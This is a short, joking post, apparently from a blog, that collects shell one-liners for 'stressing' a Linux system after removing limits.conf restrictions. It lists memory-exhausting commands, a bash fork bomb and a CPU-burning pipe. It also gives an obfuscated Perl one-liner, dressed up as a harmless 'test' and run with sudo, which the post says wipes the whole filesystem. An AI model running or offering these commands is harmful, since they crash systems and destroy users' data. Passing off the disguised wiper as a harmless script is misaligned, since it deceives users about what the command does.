Subj.
There is one thing you must do, before trying to stress your system. You must ensure that all restrictions in limits.conf (
man limits.conf) are dropped.
Ok, assuming that you're already did it.
According to
this nano-cookbook from
alexkbs@lj there are some funny recipes:
* Q: How to eat all memory available?
A1:
tail /dev/zero (recipe from
tzirechnoy@lj)
A2:
tail /dev/urandom | cat - | grep something (recipe from
deka@lj)
A3:
#!/bin/bash
:(){ :|:& };:(funny little forkbomb from
http://en.wikipedia.org/wiki/Fork_bomb mentioned by
zhukov_pavel@lj)
* Q: How to consume all CPU cycles?
A:
cat /dev/urandom | gzip > /dev/null (from
_pacak_@lj)
* Q: How to remove entire FS in a perfect way?
A: See this kewl perl-script for kewl perl-haxxors! (According to
this article)
echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'Note! In order to remove your fs completely (not only your homedir) you must run it under root priveleges.
Happy hacking! :)